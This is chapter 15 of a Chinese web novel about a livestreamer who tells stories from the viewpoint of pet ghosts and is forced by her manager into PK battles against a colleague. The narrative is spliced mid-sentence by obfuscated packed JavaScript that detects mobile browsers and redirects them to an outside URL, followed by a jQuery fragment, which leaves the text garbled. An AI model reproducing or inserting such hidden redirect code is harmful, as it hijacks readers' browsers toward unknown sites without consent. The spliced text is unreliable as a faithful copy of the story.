15. 第 15 章
作品:《人,小猫鬼有话要说》 直播间人气稳步攀升。
连续出圈的切片剪辑给谢棠玉吸了不少粉,上次妙妙闹那么一出,她的粉丝大多也流向谢棠玉的直播间。
同为萌宠赛道。
从小猫鬼和小狗鬼的视角讲述故事,让主播帮忙传达想说的话,对观众来说是一种很新奇的体验。
明知这个故事可能会让人感到悲伤,但其中流淌的爱意是那么真挚,温暖,便是让人流泪也会心甘情愿地探听和触碰。
当然,直播间里的故事也并不总是温情向。
一个妙妙,一个李盛(林生),都是试图搞事作妖,反被谢棠玉轻松揭穿化解的。
后者甚至没掀起什么风浪,就被送进局子——这种不吊人胃口,不用蹲着等后续的瓜吃起来真的很爽。
观众爱看,平台就会推流。
于是开播半小时后,在线观看人数破了万。
时不时的,还有人打赏。
和昭剪着视频,盯着直播间的动静,笑容满面。
这个数据是真的好看。
如果谢棠玉是没签mcn的小主播的话,收入绝对呈指数级增长。
不然怎么有那么多人挤破头也想吃自媒体的饭。
说不定哪天就被流量眷顾,几天或者几个月就到手别人一辈子都赚不到的钱?
可惜她签了公司。
数据都被量化成kpi,谢棠玉带来的收入再可观,也只是她给公司盈利做出贡献,用几句鼓励和绩效就能打发。
但徐平的厚脸皮程度还是超出了和昭的想象。
直播间隙的休息时间,姓徐的把谢棠玉叫去开了个小会。
等到人出来,和昭才发现开会的人还有乐欣。
徐平笑容得意,而谢棠玉面无表情。
等人走远,乐欣脸上浮出明显的尴尬。
“糖糖,我也不知道徐哥会这样安排……要不我还是找他说一下吧,这么做不合适。”
谢棠玉只是说:“我先回去准备了。”
和昭听得一头雾水,回去便问谢棠玉,“他到底给你俩安排了什么?”
谢棠玉说:“打pk。”
和昭:“啥?”
她还以为自己听错了,“谁打pk?你吗?”
某音直播里,是有不少娱乐主播或团播靠打pk争流量和打赏,变现能力惊人。
乐欣之前能火出圈,也是打pk的功劳。
甜美的长相,好听的唱腔,拉满的情绪价值。流水一样的打赏让她的节目效果好得出奇。
乐欣的流量巅峰期,曾创下一小时内打赏过万的记录。
但谢棠玉不是这个类型的主播啊。
她的直播间虽然换成了萌宠赛道,可本质还是情感直播间。
受众大多喜欢安静听故事,和那群爱打赏爱看pk的不是一批人。
她要是去打pk,粉丝流失是必然的。
再者,谢棠玉又不缺主动来连麦的人,为什么要随机连麦打pk——谁知道对面会是什么牛鬼蛇神。
和昭常常为那些恶俗的举止和发言感到恶心。
明明现在的直播间发展势头正好,为什么要干吃力不讨好的事?
“他疯了啊?”和昭很恼火,“姓徐的怎么一点都见不得你好,他到底图什么。”
谢棠玉也皱眉。
刚才的谈话,姓徐的心思其实一点都没藏着掖着。
简单说还是同样的目的,想让她露脸。
在谢棠玉再次拒绝后,他变了脸色,用那种既然你不听话那我只好给你点苦头吃的语气。
“糖糖,你这样让我很难办啊。”
谢棠玉说:“不是说用数据说话么,我直播间的表现应该还可以吧?”
徐平咬着牙笑,“是不错。”何止是可以,谢棠玉没关注别人的数据,他可是掌控全局的。
谢棠玉的数据已经甩了乐欣一条街。
再过几天月末总结,谢棠玉的绩效系数能拿到最高——这让他怎么高兴得起来。
最不服管教的刺头业绩起来了,别人要是有样学样,他还怎么带团队?
“但是,”徐平话头一转,指点起来,“我觉得还有很大的提升空间。”
“连麦对象不能仅限于那些主动申请的人,他们能给你提供什么素材都是未知的,太看运气,你也得自己找点素材啊。”
“比如和那些已经有粉丝基础的主播连,最好也是家里养了宠物的,挖一挖对面的故事,粉丝肯定都爱看。”
“再打打pk拉点票——你的粉丝涨得是快,可付费用户太少了,打赏的那点钱加起来,还没别人几百粉的直播多。”
徐平随口念了个男主播名字,长相不算多好但够白够纤细,在直播间里戴假发穿短裙,装成女孩子夹着声音喊哥哥,引得好几个大哥争着当榜一。
谢棠玉无话可说。
徐平:“所以从今天开始,你直播也得打pk,把你的粉丝筛一下,把愿意花钱的留下来。”
谢棠玉拒绝的话没说出口,徐平就把乐欣喊了进来。
“论打pk,乐欣可比你专业多了,让她教教你——你俩也可以连麦下试试水。”
没给两人说话的余地,徐平为自己绝妙的主意拍掌,“就这么决定了。”
谢棠玉想,怕是让和昭说对了。
徐平就是见不得她好。
同公司主播连麦pk是蛮常见的一种运营手段,共享流量不说,还能刺激粉丝有竞争意识,打赏——可这有个前提是二者风格相近。
谢棠玉和乐欣几乎没有重合的受众。
打pk的话,她的直播间人气,大概只能沦为刺激乐欣粉丝打赏的工具。
为什么要用打赏收入来衡量直播的优劣和内容的价值呢——
明知徐平就是想让她不痛快,理智告诉她不该让自己的情绪被糟糕的人牵动,但她很难平静接受这个安排。
打工时不时就有这种让人如鲠在喉的情况。
或许……
谢棠玉叹口气,对着和昭如实道:“徐平让我和乐欣打pk。”
“我靠!”和昭太懂这里面的门路了,“他真的有病。”
她若有所思:“你还直播么,要不请个假先应付过去吧?”
以前哪怕背后蛐蛐人,谢棠玉也会客客气气地喊一声徐总,头回听她直呼其名,和昭莫名有种饭搭子要离她而去的感觉。
谢棠玉说:“播,当然播,只是要拜托你再帮我个忙。”
-
【这个主播都休息十分钟了怎么还不回来】
【只听纯音乐上班摸鱼都没意思了】
【?我说在线人数咋这么多,真有人打工还看直播啊】
【不然呢,时薪十块就得狠狠摸啊[抠鼻]】
评论区翘首以盼的时候,熟悉的小猫脸终于出现在屏幕面前。
谢棠玉说:“抱歉抱歉,被老板叫去开了个会。”
粉丝难
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392244|200198||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得听她聊工作话题。
老粉是知道谢棠玉签了公司的,每天打卡式直播,到点就下班,新粉则有些好奇。
【糖糖背后有团队啊】
谢棠玉啼笑皆非:“算有吧。”揽了她剪辑活的和昭得算一个,再没别人。
不得不说徐平是会搞区别对待的,乐欣刚有火的苗头时,助理立马安排上,等她直播间的数据好起来了,助理是没有的,给别人当垫脚石的活是要做的。
她的笑轻飘飘的,带点嘲弄的意味。
“但很快就说不定了。”
观众还没来记得细想这句话是什么意思,就被谢棠玉新的一句话吸引注意力。
“今天后半场直播会有些特别——这可能是我第一次,也是最后一次打pk。”
【?什么pk】
【糖糖不是从来都不打pk的吗】
镜头里的猫猫托着自己的脸,语气很无奈:“是啊,我也不想打,可是……”
她欲言又止。
听众很快联想到刚才的解释,被老板叫去开的突兀的会。
谢棠玉幽幽地叹口气,“这个pk不得不打。”
【幻视一秒被领导瞎派活的我】
【干又不想干,摆又不能摆】
【真的不喜欢打pk,每次看到我都直接划走的,好不容易找到个喜欢的直播间,怎么也要去打pk】
【溜了溜了】
有批人果然对打pk的直播很抵触,人一下子跑了好几百。
【那我排队中的连麦申请怎么办?】
【没小猫鬼的故事听了吗】
【我已经等两天了,我的小鸡……】
谢棠玉说:“已经申请连麦的宝宝先别急,这个流程是不会变的,该怎么连麦我们还怎么连。”
“就是要比之前麻烦点——辛苦宝宝看下私信,加下我的vx,我们要换个地方打视频。”
这就不得不提某音的直播规则,当两个主播决定打pk时,直播画面将强制分屏,不允许第三个人申请连麦。
本来觉得打pk全无好处的粉丝愣了愣。
【?意思是今天连麦就能获得糖糖的好友位】
【这不是榜一大姐才该享受的待遇嘛】
【我现在申请还来得及么!】
谢棠玉咳了下:“抱歉,人数够了。”
【……头回体会到什么叫祸兮福所伏】
还以为预定的连麦会因为打pk取消掉,谁成想反而能拿到主播的联系方式?
而且听主播的语气,她并不是那么想打pk?
谢棠玉的确如此。
她是先随机匹配了几个主播,不管对面说什么,都保持沉默微笑应对,而到拉票禁言环节时,她反复嘱咐粉丝不要给她打赏,然后按顺序连麦,帮忙找小猫鬼。
输了也无所谓,照旧微笑。
几乎把“我是被迫营业的”态度摆明在脸上。
时刻关注着直播间动静的徐平气得不行,这不是摆明要和他继续对着干?
他给谢棠玉发出一条又一条消息。
“我在盯你。”
“你能不能端正下你的态度?你有在认真打pk么?”
对面已读不回。
直到谢棠玉结束随机匹配,连线别人。
乐欣那张精致的脸蛋出现在屏幕另一半时,特效小猫微微坐直了身体。
谢棠玉引用徐平质问她的话,轻描淡写地回复:“能。”

